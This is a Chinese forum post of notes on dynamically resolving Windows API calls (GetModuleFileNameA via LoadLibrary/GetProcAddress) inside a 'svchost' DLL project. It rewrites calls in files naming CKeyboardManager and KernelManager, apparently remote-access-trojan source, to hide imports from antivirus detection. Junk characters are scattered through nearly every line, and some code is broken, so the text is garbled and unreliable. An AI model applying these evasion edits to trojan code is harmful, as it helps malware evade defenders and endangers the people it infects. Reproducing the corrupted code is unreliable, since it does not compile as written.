[原创文章] 全局动态调用 全局, 动态

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全局动态调用笔记+ j- T  X% d  ?5 k" Y2 m% [
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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DTDY.h：9 U/ J1 d/ W( b7 K8 W6 \. f" L

6 _- X  S  L% b. J8 r  b: I: h#if _MSC_VER>1000: T/ s  A$ P6 I/ @" F2 O3 `9 a
#pragma once
) C* u: u. [* z/ g- |; V3 s#endif //_MSC_VER>1000
2 k, ?) d$ e8 \" z. t( i* e: R7 s+ ?#include<windows.h>
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);9 S+ v0 g& a9 U6 U5 W8 K1 C; F
class DTDY/ y! H) Y4 N$ @# {( v
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public:) g' ]* z  M3 C
DTDY();% [) \- L+ K4 z; L0 _
virtual ~DTDY();
* x  A5 ]9 ?5 d* Qpublic:
& ]! ?  j& e. T5 d% J; Pstatic pGetModuleFileNameA MyGetModuleFileName;& c( Q' ?! O2 B3 G
static BOOL FunInitiallization();4 }: E4 ?/ `2 q$ f
};+ i* [- |$ k" `  o7 P
#endif
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  B- _0 j# p) n1 B+ @' UDTDY.cpp:6 p* ^0 t- h4 ^7 a; c2 h

6 t7 n  M6 V( z, J+ @- f#include "DTDY.h"
: m) l( B. D/ ipGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;# C; C; z- Q! B. ?
DTDY:TDY()/ w) @, g, s( e5 s7 r0 G1 W
{
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DTDY::~DTDY()5 h6 u, z0 c. K' L
{
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BOOL DTDY::FunInitiallization()0 h- t" b* V* o  ~5 Y: E
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HMODULE hModule=LoadLibrary("kernel32.dll");: R& o! I# Y, V# y0 R. ^9 v( h
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
8 \' ^! z( d6 [% J% o' ]0 i! {2 Xif(!MyGetModuleFileName=) return FALSE;
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+ l0 v& U/ R  d1 U% G" M! Y4 Ereturn TRUE;
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  ]: w! y; U) j  x5 Hsvchost.cpp:3 k5 V+ Z2 k6 \3 @7 n

' P$ ^& o( j- h+ R. J$ L: `#include "DTDY.h"
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3 O& y$ F  P* [0 EBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
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switch(ul_reason_for_call)
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case DLL_PROCESS_ATTACH:
8 r! T/ `9 e5 I  U* Fif(!DTDY::FunInitiallization()) return FALSE;& r# A3 ?: N* f$ a. k

( A! U9 n9 i: ]4 j7 ^0 Rbreak;5 ~) a8 t, ^) Z+ d7 T: ?
}
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
6 ^9 \/ H( P) {9 m- }, W/ x7 l7 d改写为5 Q1 ]0 F1 _  M2 I, i, w4 U" A
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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KernelManager.cpp:
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#include "../DTDY.h"
$ I' x2 `& k- L2 [5 B6 s: FGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
( }% P. z$ @* h# B* }/ r改写为- \  V9 |* {  J
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));& q5 D6 v9 u% t' E0 u9 i4 P
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